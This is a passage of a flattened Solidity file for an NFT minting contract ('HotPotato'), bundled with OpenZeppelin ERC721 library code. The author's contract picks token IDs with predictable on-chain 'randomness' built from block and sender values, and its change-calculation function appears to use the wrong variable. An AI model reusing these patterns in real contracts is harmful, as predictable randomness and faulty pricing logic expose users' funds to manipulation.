a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: HotPotato.sol pragma solidity ^0.8.7; // Thanks for reading this is my first contract. I split it into two contracts, for simplicity. // I put a prize in, of 50 ETH for one random potato holder, if 100% minting is completed. // Otherwise read on, and mint yourself a potato! (My wife drew them :) // // // -- PotatoBob // // twitter --> @nft_potatoes // website ---> www.halfbaked.wtf ////////////////////////////////////// // // apeMint(): costs mintingCost * apeFactor // reserves a minting slot, but does NOT yield a token. // you MUST claim your token AFTER regular minting opens. ///////////////////////////////////////////////////////////////////// // // smartMint(): any excess tx value is swapped into interest bearing stETH // and locked into your potato, until it is eaten. ///////////////////////////////////////////////////////////////////// // // quickMint(): Just a quick mint! QTY can be specified, or not. // If not specified, the max possible qty will be calculated. /////////////////////////////////////////////////////////////////// // // apeClaim(): claim your reserved mints! Qty will revert to number reserved. // ///////////////////////////////////////////////////////////////////////////// contract HotPotato is Ownable, ReentrancyGuard, ERC721Enumerable { string public potatoHash; // Hash of all 10,000 potatoes. Yummm! (added once minting is live!) using Counters for Counters.Counter; using Strings for uint256; bool public mintingLive = false; bool public mintingEnded = false; bool public winnerWithdrawl = false; uint public constant MAX_SUPPLY = 10000; uint public constant MINTING_LIMIT = 40; uint public constant INDV_MINTING_TICKET_LIMIT = 10; uint private unclaimedTickets = 0; uint[MAX_SUPPLY] private tokenTeller; uint private aW = 0; uint private supplyRemaining; uint private ticketBin = 0; uint private apeFactor = 3; uint private mintingCost = 0.01 ether; uint public constant prize = 50 ether; // About USD$200,000 at time of writing string public baseURI; mapping (address => uint) public mintingTickets; mapping (uint => address) public originalMinter; address private multiSig; bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a; event TheChosenPotato(uint _tokenId, address _addressOfChosenPotato); // For Choosing The Chosen One constructor(address _multiSigAddress, address[] memory _toTicket) ERC721("Hot F*cking Potatoes", "HFP") { multiSig = _multiSigAddress; supplyRemaining = MAX_SUPPLY; baseURI = ''; mintingTickets[_toTicket[0]] = 1; //Giveaway Winner mintingTickets[_toTicket[1]] = 3; //bkc mintingTickets[_toTicket[3]] = 3; //ra mintingTickets[_toTicket[2]] = 5; //ab mintingTickets[_toTicket[6]] = 5; //pp mintingTickets[_toTicket[7]] = 5; //aw mintingTickets[_toTicket[4]] = 10; //dc mintingTickets[_toTicket[5]] = 10; //fp mintingTickets[_toTicket[8]] = 10; //cpv mintingTickets[msg.sender] = 17; // for airdrops, giveaways, and the wife. unclaimedTickets = 69; ticketBin = 69; } ////////////////////////////////////////// // Getter Functions ///////////////////////////////////////// function maxPotatoes() public view virtual returns (uint) { return MAX_SUPPLY; } function getApeBalance(address _holder) public view returns (uint256) { return mintingTickets[_holder]; } function getApeBalance() public view returns (uint256) { return mintingTickets[msg.sender]; } function getApeCost(uint _qty) public view returns (uint){ return (_qty * mintingCost * apeFactor); } function getMintingCost(uint _qty) public view returns (uint){ return (_qty * mintingCost); } function getRemainingSupply() public view returns (uint) { return supplyRemaining - unclaimedTickets; } function getUnclaimed() internal view returns (uint) { return unclaimedTickets; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } ////////////////////////////////////////// // Minting Functions (public) ///////////////////////////////////////// function apeMint(uint _qty) public payable nonReentrant returns (uint) { uint _qtyReserved = _apeMint(_qty); return _qtyReserved; } function apeClaim() public nonReentrant returns (uint256[] memory _tokenIdArray) { address _sender = msg.sender; _tokenIdArray = _useMintingTickets(_sender); return _tokenIdArray; } // checks if you have minting tickets to use! function quickMint(uint _qty) public payable nonReentrant returns (uint256[] memory _tokenIdArray) { _tokenIdArray = _beforeMint(_qty); return _tokenIdArray; } // same as above, only with qty set to maximum function quickMint() public payable nonReentrant returns (uint256[] memory _tokenIdArray) { uint _validValue = msg.value - (msg.value % mintingCost); uint _qty = _validValue / mintingCost; _tokenIdArray = _beforeMint(_qty); return _tokenIdArray; } /*/ just regular minting function... function mint(uint _qty) public payable nonReentrant returns (uint256[] memory _tokenIdArray) { _tokenIdArray = _beforeMint(_qty); } */ function useMintingTickets(address _minter) public nonReentrant returns (uint256[] memory _tokenIdArray){ _tokenIdArray = _useMintingTickets(_minter); return _tokenIdArray; } ////////////////////////////////////////// // the cashier and change maker ///////////////////////////////////////// function _getQtyAndChange(uint _qty, uint _value) internal view returns (uint _newQty, uint _changeAmount) { uint _total = _qty * mintingCost; _newQty = _qty; if (_total > _value) { // Triggered if not enough eth sent uint _validValue = _value - (_value % mintingCost); uint _testQty = _validValue / mintingCost; uint _newTotal = _newQty * mintingCost; require(_value >= _newTotal, "Error calculating price!"); _newQty = _testQty; _total = _newTotal; } require ((_value >= _total), "Please send more ETH"); _changeAmount = _value - _total; return (_newQty, _changeAmount); } function _refundChange(uint _change) internal { if (_change > 0) { payable(msg.sender).transfer(_change); } } ////////////////////////////////////////// // Minting & Token ID Selection ///////////////////////////////////////// function _beforeMint(uint _qty) private returns (uint256[] memory) { uint _value = msg.value; require(mintingLive, "Minting has not yet started!"); require((_value >= mintingCost), "Not enough Eth"); require((supplyRemaining >= _qty), "You can't eat that many potatoes"); // //uint _total = _qty * mintingCost; (uint _newQty, uint _change) = _getQtyAndChange(_qty, _value); uint256[] memory _tokenIdArray = new uint256[](_qty); _tokenIdArray = _mintPotato(_newQty, false, msg.sender); _refundChange(_change); return _tokenIdArray; } function _mintPotato(uint _qty, bool _isApeClaim, address _mintTo) internal returns (uint256[] memory) { uint _initialSupplyRemaining = supplyRemaining; uint _safteyCounter = 0; uint256[] memory _mintedTokenId = new uint256[](_qty); if (!_isApeClaim) { require((_qty <= MINTING_LIMIT), "Don't be greedy!"); } for (uint index = 0; index < _qty; index++) { uint _tokenId = _getAvailableTokenId(_isApeClaim, _qty, index * index); _safeMint(_mintTo, _tokenId); originalMinter[_tokenId] = _mintTo; _mintedTokenId[index] = _tokenId; _safteyCounter++; } require((_safteyCounter == _qty), "Hmmm..."); supplyRemaining = _initialSupplyRemaining - _safteyCounter; return _mintedTokenId; } function _apeMint(uint _qty) internal returns (uint _qtyReserved) { address _sender = msg.sender; uint _value = msg.value; uint _apeCost = mintingCost * apeFactor; uint _total = _qty * _apeCost; require( (!mintingEnded), "Sorry! aping is over!"); require((_qty <= MINTING_LIMIT), "Sorry! You cant preorder that many!"); require((_value >= _apeCost), "Not enough Eth"); require( ( (unclaimedTickets + _qty) <= MAX_SUPPLY), "Not enough potatoes left!"); if (_total > _value) { // Triggered if not enough eth sent uint _validValue = _value - (_value % _apeCost); uint _newQty = _validValue / _apeCost; uint _newTotal = _newQty * _apeCost; require(_value >= _newTotal, "Error calculating price!"); _qty = _newQty; _total = _newTotal; } require ((_value >= _total), "Please send more ETH"); uint _change = _value - _total; _issueMintingTicket(_sender, _qty); if ((_change > 0)) { _refundChange(_change); } if (mintingLive) { _useMintingTickets(_sender); } _qtyReserved = _qty; return _qtyReserved; } function _useMintingTickets(address _sender) private returns (uint256[] memory _tokenIdArray){ require(mintingLive, "Minting has not yet opened!"); require(mintingTickets[_sender] >= 1, "You need a minting ticket"); uint _qty = mintingTickets[_sender]; mintingTickets[_sender] = 0; if (supplyRemaining < _qty) { // This should never happen, but just incase it does. _qty = supplyRemaining; } unclaimedTickets = unclaimedTickets - _qty; _tokenIdArray = _mintPotato(_qty, true, _sender); return _tokenIdArray; } function sendMintingTicket(address _receiver, uint _qty) public onlyOwner returns (bool) { uint awardCheck = mintingTickets[_receiver] + _qty; require(awardCheck <= INDV_MINTING_TICKET_LIMIT ); require(ticketBin <= INDV_MINTING_TICKET_LIMIT * 10 ); return _issueMintingTicket(_receiver, _qty); } function _issueMintingTicket(address _receiver, uint _qty) internal returns (bool) { mintingTickets[_receiver] += _qty; unclaimedTickets = unclaimedTickets + _qty; ticketBin++; return true; } function _getAvailableTokenId(bool _useReserved, uint _qty, uint _seed) internal returns (uint _availableTokenId) { uint _range = supplyRemaining; // // Thanks Hank! // uint _prettyRandomNum = uint256( keccak256( abi.encode( //block.basefee, block.timestamp, msg.sender, tx.origin, block.number, blockhash(block.number - 1), _seed,tx.gasprice, _qty, _range ) ) ); // ///////////////////////////////////////// if (!_useReserved) { uint poolSize = _range - unclaimedTickets; require((poolSize >= 1), "Minting is sold out!!"); _range = poolSize; } uint _tokenIndex = _prettyRandomNum % (_range); _availableTokenId = _useTokenIdAtIndex(_tokenIndex); return _availableTokenId; } function _useTokenIdAtIndex(uint _tokenIndex) internal returns (uint _chosenTokenId) { uint _indexValue = tokenTeller[_tokenIndex]; uint _lastIndex = supplyRemaining - 1; if (_indexValue == 0) { _chosenTokenId = _tokenIndex; } else { _chosenTokenId = _indexValue; } if (_tokenIndex != _lastIndex) { uint _lastValue = tokenTeller[_lastIndex]; if (_lastValue == 0) { tokenTeller[_tokenIndex] = _lastIndex; } else { tokenTeller[_tokenIndex] = _lastValue; } } supplyRemaining--; return _chosenTokenId; } ///////////////////////////////////////////////// // Royalties /// Conforms with EIP 2981 ////// //////////////////////////////////////////////// function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 